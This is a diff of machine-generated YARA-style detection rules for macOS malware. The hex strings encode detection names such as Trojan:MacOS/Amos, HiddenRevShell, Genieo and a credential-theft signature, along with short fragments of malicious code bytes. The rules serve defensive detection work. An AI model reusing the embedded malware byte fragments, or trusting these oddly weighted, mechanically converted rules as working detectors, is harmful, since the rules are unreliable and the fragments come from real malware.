description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278185,7 +294622,7 @@ rule _InfrastructureShared_21076{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*21369+(#a_73_2 & 1)*24937+(#a_61_3 & 1)*18789) >=4 } -rule _InfrastructureShared_21077{ +rule _InfrastructureShared_22359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278198,7 +294635,7 @@ rule _InfrastructureShared_21077{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*27745+(#a_4d_2 & 1)*28530+(#a_6e_3 & 1)*26988) >=4 } -rule _InfrastructureShared_21078{ +rule _InfrastructureShared_22360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,1e 00 1e 00 04 00 21 " @@ -278211,7 +294648,7 @@ rule _InfrastructureShared_21078{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25600+(#a_73_2 & 1)*24429+(#a_00_3 & 1)*28776) >=30 } -rule _InfrastructureShared_21079{ +rule _InfrastructureShared_22361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -278223,7 +294660,7 @@ rule _InfrastructureShared_21079{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25344+(#a_67_2 & 1)*27001) >=3 } -rule _InfrastructureShared_21080{ +rule _InfrastructureShared_22362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -278236,7 +294673,7 @@ rule _InfrastructureShared_21080{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*26478+(#a_61_2 & 1)*27715+(#a_74_3 & 1)*26473) >=5 } -rule _InfrastructureShared_21081{ +rule _InfrastructureShared_22363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 03 00 21 " @@ -278247,7 +294684,7 @@ rule _InfrastructureShared_21081{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*24940) >=6 } -rule _InfrastructureShared_21082{ +rule _InfrastructureShared_22364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278259,7 +294696,7 @@ rule _InfrastructureShared_21082{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_21083{ +rule _InfrastructureShared_22365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 01 00 21 " @@ -278269,7 +294706,7 @@ rule _InfrastructureShared_21083{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_21084{ +rule _InfrastructureShared_22366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278282,7 +294719,7 @@ rule _InfrastructureShared_21084{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*21327+(#a_8d_2 & 1)*3139+(#a_4d_3 & 1)*21076) >=4 } -rule _InfrastructureShared_21085{ +rule _InfrastructureShared_22367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -278292,7 +294729,7 @@ rule _InfrastructureShared_21085{ ((#a_41_0 & 1)*20515) >=1 } -rule _InfrastructureShared_21086{ +rule _InfrastructureShared_22368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -278305,7 +294742,7 @@ rule _InfrastructureShared_21086{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*14134+(#a_64_2 & 1)*17455+(#a_54_3 & 1)*18490) >=3 } -rule _InfrastructureShared_21087{ +rule _InfrastructureShared_22369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -278318,7 +294755,7 @@ rule _InfrastructureShared_21087{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*0) >=3 } -rule _InfrastructureShared_21088{ +rule _InfrastructureShared_22370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278326,62 +294763,82 @@ rule _InfrastructureShared_21088{ $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f 2e 44 21 4d 54 42 00 01 00 0a 00 67 65 6e 69 65 6f 2e 63 6f 6d 01 00 0f 00 43 6f 6f 6c 20 4d 69 72 61 67 65 20 4c 74 64 01 00 10 00 67 6f 70 68 6f 74 6f 49 6e 73 74 61 } //16675 $a_64_1 = {00 11 00 49 6e 73 74 61 6c 6c 47 65 6e 69 65 6f 2e 61 70 70 00 00 02 00 8d 76 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 4d 61 63 4f 53 2f 53 79 6e 61 74 61 65 62 2e 43 00 01 00 1e 01 5b 3f 26 5d 74 62 6d 3d 6d 61 70 00 41 4e 59 53 5f 2e 2a 24 00 54 61 72 72 76 5f 2e 2a 24 01 00 17 } //27756 $a_73_2 = {61 6c 6c 65 64 00 6c 61 73 74 48 65 61 72 74 62 65 61 74 01 00 0f 00 77 77 77 5b 30 2d 39 5d 2a 5c 2e 62 69 6e 67 00 00 8d 76 00 00 05 00 05 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 6c 69 6d 73 00 02 00 06 00 47 6c 69 6d 73 2e 01 00 0a 00 47 6c 69 6d 73 41 67 65 6e 74 01 00 18 00 69 6e 6a 65 63 74 } //26881 - $a_69_3 = {73 20 69 6e 74 6f 20 53 61 66 61 72 69 01 00 1a 00 63 6f 6d 2e 6d 61 63 68 61 6e 67 6f 75 74 2e 67 6c 69 6d 73 2e 61 67 65 6e 74 00 00 03 00 8d 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 44 69 64 6e 61 72 62 6f 69 73 2e 43 00 02 00 16 00 63 6f 6d 2e 69 6e 6e 6f 76 61 74 69 76 65 } //18208 + $a_69_3 = {73 20 69 6e 74 6f 20 53 61 66 61 72 69 01 00 1a 00 63 6f 6d 2e 6d 61 63 68 61 6e 67 6f 75 74 2e 67 6c 69 6d 73 2e 61 67 65 6e 74 00 00 03 00 8d 77 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 58 21 4d 54 42 00 01 00 18 01 f3 03 00 aa e8 7f c0 39 a8 00 f8 36 e0 07 40 f9 } //18208 condition: ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*27756+(#a_73_2 & 1)*26881+(#a_69_3 & 1)*18208) >=4 } -rule _InfrastructureShared_21089{ +rule _InfrastructureShared_22371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {41 64 77 61 72 65 3a 4d 61 63 4f 53 2f 53 79 6e 61 74 61 65 62 2e 43 00 01 00 1e 01 5b 3f 26 5d 74 62 6d 3d 6d 61 70 00 41 4e 59 53 5f 2e 2a 24 00 54 61 72 72 76 5f 2e 2a 24 01 00 17 01 69 6e 73 74 61 6c 6c 65 64 00 6c 61 73 74 } //16675 $a_72_1 = {62 65 61 74 01 00 0f 00 77 77 77 5b 30 2d 39 5d 2a 5c 2e 62 69 6e 67 00 00 8d 76 00 00 05 00 05 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 6c 69 6d 73 00 02 00 06 00 47 6c 69 6d 73 2e 01 00 0a 00 47 6c 69 6d 73 41 67 65 6e 74 01 00 18 00 69 6e 6a 65 63 74 20 47 } //25928 - $a_73_2 = {69 6e 74 6f 20 53 61 66 61 72 69 01 00 1a 00 63 6f 6d 2e 6d 61 63 68 61 6e 67 6f 75 74 2e 67 6c 69 6d 73 2e 61 67 65 6e 74 00 00 03 00 8d 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 44 69 64 6e 61 72 62 6f 69 73 2e 43 00 02 00 16 00 63 6f 6d 2e 69 6e 6e 6f 76 61 74 69 76 65 73 68 61 } //26988 + $a_73_2 = {69 6e 74 6f 20 53 61 66 61 72 69 01 00 1a 00 63 6f 6d 2e 6d 61 63 68 61 6e 67 6f 75 74 2e 67 6c 69 6d 73 2e 61 67 65 6e 74 00 00 03 00 8d 77 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 58 21 4d 54 42 00 01 00 18 01 f3 03 00 aa e8 7f c0 39 a8 00 f8 36 e0 07 40 f9 47 01 00 } //26988 condition: ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25928+(#a_73_2 & 1)*26988) >=3 } -rule _InfrastructureShared_21090{ +rule _InfrastructureShared_22372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 6c 69 6d 73 00 02 00 06 00 47 6c 69 6d 73 2e 01 00 0a 00 47 6c 69 6d 73 41 67 65 6e 74 01 00 18 00 69 6e 6a 65 63 74 20 47 6c 69 6d 73 20 69 6e 74 6f 20 53 61 66 61 72 69 01 00 1a 00 } //16675 - $a_2e_1 = {61 63 68 61 6e 67 6f 75 74 2e 67 6c 69 6d 73 2e 61 67 65 6e 74 00 00 03 00 8d 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 44 69 64 6e 61 72 62 6f 69 73 2e 43 00 02 00 16 00 63 6f 6d 2e 69 6e 6e 6f 76 61 74 69 76 65 73 68 61 72 65 35 76 73 01 00 20 00 49 6e 6e 6f 76 61 74 69 76 65 53 } //28515 - $a_65_2 = {35 53 65 74 74 69 6e 67 73 4d 61 6e 61 67 65 72 01 00 0a 00 51 42 33 39 50 34 36 35 4e 57 00 00 01 00 8d 77 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 54 75 6e 65 6e 75 70 2e 42 00 01 00 1d 00 63 6f 6d 2e 6d 61 63 63 6c 65 61 6e 70 72 6f 2e 4d 61 63 2d 43 6c 65 61 6e 2d 50 72 6f 01 00 0b 00 6d 79 44 } //24936 - $a_67_3 = {69 6e 67 01 00 0d 00 47 65 74 49 6e 74 72 6e 74 50 72 69 76 01 00 0a 00 33 45 4a 4c 48 55 38 55 35 44 00 00 03 00 8d 79 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f 2e 4f 21 4d 54 42 00 01 00 23 00 63 6f 6d 2e 67 65 6e 69 65 6f 69 6e 6e 6f 76 61 74 69 6f 6e 2e 67 65 6e 5f 65 78 74 5f 62 75 6e } //25189 + $a_2e_1 = {61 63 68 61 6e 67 6f 75 74 2e 67 6c 69 6d 73 2e 61 67 65 6e 74 00 00 03 00 8d 77 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 58 21 4d 54 42 00 01 00 18 01 f3 03 00 aa e8 7f c0 39 a8 00 f8 36 e0 07 40 f9 47 01 00 94 02 00 00 14 01 00 30 01 88 f2 7d 92 08 21 00 91 89 0a 40 } //28515 + $a_00_2 = {f1 08 01 89 9a 17 05 00 91 e0 03 17 aa 2b 01 00 94 f6 03 00 aa e8 02 41 b2 74 a2 00 a9 60 02 00 f9 00 00 8d 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 44 69 64 6e 61 72 62 6f 69 73 2e 43 00 02 00 16 00 63 6f 6d 2e 69 6e 6e 6f 76 61 74 } //16306 + $a_73_3 = {61 72 65 35 76 73 01 00 20 00 49 6e 6e 6f 76 61 74 69 76 65 53 68 61 72 65 31 35 53 65 74 74 69 6e 67 73 4d 61 6e 61 67 65 72 01 00 0a 00 51 42 33 39 50 34 36 35 4e 57 00 00 01 00 8d 77 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 54 75 6e 65 6e 75 70 2e 42 00 01 } //30313 condition: - ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28515+(#a_65_2 & 1)*24936+(#a_67_3 & 1)*25189) >=5 + ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28515+(#a_00_2 & 1)*16306+(#a_73_3 & 1)*30313) >=5 } -rule _InfrastructureShared_21091{ +rule _InfrastructureShared_22373{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 58 21 4d 54 42 00 01 00 18 01 f3 03 00 aa e8 7f c0 39 a8 00 f8 36 e0 07 40 f9 47 01 00 94 02 00 00 14 01 00 30 01 88 f2 7d 92 08 21 00 91 89 0a 40 b2 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_22374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 44 69 64 6e 61 72 62 6f 69 73 2e 43 00 02 00 16 00 63 6f 6d 2e 69 6e 6e 6f 76 61 74 69 76 65 73 68 61 72 65 35 76 73 01 00 20 00 49 6e 6e 6f 76 61 74 69 76 65 53 68 61 72 65 31 35 53 65 } //16675 $a_6e_1 = {73 4d 61 6e 61 67 65 72 01 00 0a 00 51 42 33 39 50 34 36 35 4e 57 00 00 01 00 8d 77 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 54 75 6e 65 6e 75 70 2e 42 00 01 00 1d 00 63 6f 6d 2e 6d 61 63 63 6c 65 61 6e 70 72 6f 2e 4d 61 63 2d 43 6c 65 61 6e 2d 50 72 6f 01 00 0b 00 6d 79 } //29812 - $a_75_2 = {67 69 6e 67 01 00 0d 00 47 65 74 49 6e 74 72 6e 74 50 72 69 76 01 00 0a 00 33 45 4a 4c 48 55 38 55 35 44 00 00 03 00 8d 79 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f 2e 4f 21 4d 54 42 00 01 00 23 00 63 6f 6d 2e 67 65 6e 69 65 6f 69 6e } //25924 + $a_75_2 = {67 69 6e 67 01 00 0d 00 47 65 74 49 6e 74 72 6e 74 50 72 69 76 01 00 0a 00 33 45 4a 4c 48 55 38 55 35 44 00 00 03 00 8d 78 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 45 42 21 4d 54 42 00 01 00 18 01 48 8b 3b 48 c7 03 00 00 00 00 48 85 ff 74 } //25924 condition: ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29812+(#a_75_2 & 1)*25924) >=3 } -rule _InfrastructureShared_21092{ +rule _InfrastructureShared_22375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 54 75 6e 65 6e 75 70 2e 42 00 01 00 1d 00 63 6f 6d 2e 6d 61 63 63 6c 65 61 6e 70 72 6f 2e 4d 61 63 2d 43 6c 65 61 6e 2d 50 72 6f 01 00 0b 00 6d 79 44 65 62 75 67 67 69 6e 67 01 00 0d 00 } //16675 - $a_49_1 = {74 72 6e 74 50 72 69 76 01 00 0a 00 33 45 4a 4c 48 55 38 55 35 44 00 00 03 00 8d 79 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f 2e 4f 21 4d 54 42 00 01 00 23 00 63 6f 6d 2e 67 65 6e 69 65 6f 69 6e 6e 6f 76 61 74 69 6f 6e 2e 67 65 6e 5f 65 78 74 5f 62 75 6e 64 6c 65 01 00 0a 00 4b 34 34 34 } //25927 - $a_32_2 = {48 01 00 15 00 47 65 6e 69 65 6f 20 49 6e 6e 6f 76 61 74 69 6f 6e 20 4c 74 64 00 00 02 00 8d 79 00 00 04 00 04 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f 2e 4a 00 02 00 1a 00 47 65 6e 69 65 6f 2f 53 56 4e 2f 74 72 75 6e 6b 2f } //13638 - $a_74_3 = {6c 6c 4d 43 01 00 0f 00 2f 74 6d 70 2f 58 58 58 58 58 58 2e 64 6d 67 01 00 1d 00 73 2e 6d 61 63 74 6f 70 31 30 2e 63 6f 6d 2f 65 78 63 65 70 74 69 6f 6e 73 2e 74 78 74 00 00 03 00 8d 79 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 59 6f 6e 74 6f 6f 2e 41 00 02 00 16 00 6c 6f 67 73 2e 64 65 6d 6f 63 6c 69 } //28233 + $a_49_1 = {74 72 6e 74 50 72 69 76 01 00 0a 00 33 45 4a 4c 48 55 38 55 35 44 00 00 03 00 8d 78 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 45 42 21 4d 54 42 00 01 00 18 01 48 8b 3b 48 c7 03 00 00 00 00 48 85 ff 74 09 5b 41 5e 5d e9 8e 14 00 00 01 00 31 01 55 48 89 e5 53 50 bf 08 00 00 00 e8 82 02 00 00 48 } //25927 + $a_89_2 = {e8 4d 02 00 00 48 8b 35 be f8 0b 00 48 8b 15 8f f8 0b 00 48 89 df e8 73 02 00 00 00 00 8d 79 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f 2e 4f 21 4d 54 42 00 } //-15479 + $a_00_3 = {63 6f 6d 2e 67 65 6e 69 65 6f 69 6e 6e 6f 76 61 74 69 6f 6e 2e 67 65 6e 5f 65 78 74 5f 62 75 6e 64 6c 65 } //1 com.genieoinnovation.gen_ext_bundle condition: - ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*25927+(#a_32_2 & 1)*13638+(#a_74_3 & 1)*28233) >=4 + ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*25927+(#a_89_2 & 1)*-15479+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_21093{ +rule _InfrastructureShared_22376{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 45 42 21 4d 54 42 00 01 00 18 01 48 8b 3b 48 c7 03 00 00 00 00 48 85 ff 74 09 5b 41 5e 5d e9 8e 14 00 00 01 00 31 01 55 48 89 e5 53 50 bf 08 00 00 00 e8 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_22377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -278393,7 +294850,7 @@ rule _InfrastructureShared_21093{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*12890+(#a_6c_2 & 1)*29811) >=3 } -rule _InfrastructureShared_21094{ +rule _InfrastructureShared_22378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 21 " @@ -278405,7 +294862,7 @@ rule _InfrastructureShared_21094{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11891+(#a_32_2 & 1)*29285) >=4 } -rule _InfrastructureShared_21095{ +rule _InfrastructureShared_22379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278418,7 +294875,7 @@ rule _InfrastructureShared_21095{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29816+(#a_74_2 & 1)*28265+(#a_63_3 & 1)*28007) >=4 } -rule _InfrastructureShared_21096{ +rule _InfrastructureShared_22380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -278431,7 +294888,7 @@ rule _InfrastructureShared_21096{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28494+(#a_2f_2 & 1)*24950+(#a_00_3 & 1)*1) >=5 } -rule _InfrastructureShared_21097{ +rule _InfrastructureShared_22381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -278442,7 +294899,7 @@ rule _InfrastructureShared_21097{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28271) >=2 } -rule _InfrastructureShared_21098{ +rule _InfrastructureShared_22382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278455,7 +294912,7 @@ rule _InfrastructureShared_21098{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25449+(#a_72_2 & 1)*28015+(#a_00_3 & 1)*29301) >=4 } -rule _InfrastructureShared_21099{ +rule _InfrastructureShared_22383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 03 00 21 " @@ -278467,7 +294924,7 @@ rule _InfrastructureShared_21099{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*0) >=6 } -rule _InfrastructureShared_21100{ +rule _InfrastructureShared_22384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -278480,7 +294937,7 @@ rule _InfrastructureShared_21100{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*1+(#a_7b_2 & 1)*0+(#a_53_3 & 1)*14930) >=11 } -rule _InfrastructureShared_21101{ +rule _InfrastructureShared_22385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -278491,7 +294948,7 @@ rule _InfrastructureShared_21101{ ((#a_41_0 & 1)*20515+(#a_73_1 & 1)*25601) >=2 } -rule _InfrastructureShared_21102{ +rule _InfrastructureShared_22386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -278504,7 +294961,7 @@ rule _InfrastructureShared_21102{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*25965+(#a_62_2 & 1)*29184+(#a_00_3 & 1)*4) >=5 } -rule _InfrastructureShared_21103{ +rule _InfrastructureShared_22387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 05 00 21 " @@ -278518,7 +294975,7 @@ rule _InfrastructureShared_21103{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*12544+(#a_48_2 & 1)*21061+(#a_01_3 & 1)*24943+(#a_69_4 & 1)*25965) >=6 } -rule _InfrastructureShared_21104{ +rule _InfrastructureShared_22388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278531,7 +294988,7 @@ rule _InfrastructureShared_21104{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*8292+(#a_65_2 & 1)*29797+(#a_6f_3 & 1)*27491) >=4 } -rule _InfrastructureShared_21105{ +rule _InfrastructureShared_22389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -278543,7 +295000,7 @@ rule _InfrastructureShared_21105{ ((#a_46_0 & 1)*16675+(#a_6f_2 & 1)*21108+(#a_00_3 & 1)*25193) >=5 } -rule _InfrastructureShared_21106{ +rule _InfrastructureShared_22390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -278555,7 +295012,7 @@ rule _InfrastructureShared_21106{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28493+(#a_4a_3 & 1)*13056) >=5 } -rule _InfrastructureShared_21107{ +rule _InfrastructureShared_22391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -278568,31 +295025,19 @@ rule _InfrastructureShared_21107{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_01_2 & 1)*1+(#a_00_3 & 1)*0) >=3 } -rule _InfrastructureShared_21108{ +rule _InfrastructureShared_22392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 64 6c 6f 61 64 2e 46 21 4d 54 42 00 02 00 13 00 63 6f 6d 2e 38 75 6b 66 73 6f 6c 6f 70 72 6f 63 65 73 73 01 00 0a 00 35 4b 33 35 4a 4a 4a 42 56 44 01 00 29 02 53 6f 6c 6f 50 72 6f 63 } //16675 - $a_90_1 = {02 53 65 74 74 69 6e 67 73 4d 61 6e 61 67 65 72 90 01 02 62 72 61 6e 64 49 64 90 00 00 00 03 00 8d 7d 00 00 04 00 04 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 48 69 64 64 65 6e 52 65 76 53 68 65 6c 6c 2e 41 21 4d 54 42 00 01 00 0d 01 40 00 80 52 21 00 80 52 02 00 80 52 d9 01 00 11 01 e0 1f 00 b9 e1 63 00 91 e0 03 13 aa } //29541 - $a_52_2 = {02 00 23 03 f4 03 00 aa 01 00 80 52 61 90 01 03 e0 03 14 aa 21 00 80 52 5e 90 01 03 e0 03 14 aa 41 00 80 52 5b 90 00 00 00 8d 7e 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 52 6f 6f 74 50 61 63 6b 61 67 65 4c 65 61 6b 73 2e 41 00 01 00 4b 01 4d 61 6b 65 20 73 75 72 65 20 64 65 76 69 63 65 20 69 73 20 69 6e 20 53 65 63 75 72 65 52 4f 4d 20 44 } //514 + $a_90_1 = {02 53 65 74 74 69 6e 67 73 4d 61 6e 61 67 65 72 90 01 02 62 72 61 6e 64 49 64 90 00 00 00 03 00 8d 7e 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 52 6f 6f 74 50 61 63 6b 61 67 65 4c 65 61 6b 73 2e 41 00 01 00 4b 01 4d 61 6b 65 20 73 75 72 65 20 64 65 76 69 63 65 20 69 73 20 69 6e 20 53 65 63 75 72 65 52 } //29541 + $a_44_2 = {55 20 6d 6f 64 65 20 61 6e 64 20 6e 6f 74 20 4c 4c 42 2f 69 42 53 53 20 28 73 6f 66 74 29 20 44 } //19791 U mode and not LLB/iBSS (soft) D condition: - ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*29541+(#a_52_2 & 1)*514) >=4 + ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*29541+(#a_44_2 & 1)*19791) >=4 } -rule _InfrastructureShared_21109{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 48 69 64 64 65 6e 52 65 76 53 68 65 6c 6c 2e 41 21 4d 54 42 00 01 00 0d 01 40 00 80 52 21 00 80 52 02 00 80 52 d9 01 00 11 01 e0 1f 00 b9 e1 63 00 91 e0 03 13 aa 02 02 } //21539 - $a_02_1 = {00 23 03 f4 03 00 aa 01 00 80 52 61 90 01 03 e0 03 14 aa 21 00 80 52 5e 90 01 03 e0 03 14 aa 41 00 80 52 5b 90 00 00 00 8d 7e 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 52 6f 6f 74 50 61 63 6b 61 67 65 4c 65 61 6b 73 2e 41 00 01 00 4b 01 4d 61 6b 65 20 73 75 72 65 20 64 65 76 69 63 65 20 69 73 20 69 6e 20 53 65 63 75 72 65 52 4f 4d 20 44 46 55 20 6d 6f 64 65 20 61 6e 64 20 6e 6f 74 20 4c 4c 42 2f 69 42 53 53 20 28 73 6f 66 74 29 20 44 46 55 20 6d 6f 64 65 2e 00 } //21120 - $a_00_2 = {00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 50 6f 73 73 69 62 6c 65 43 72 65 64 46 72 6f 6d 50 77 64 53 74 6f 72 65 2e 41 00 01 00 24 00 2f 4c 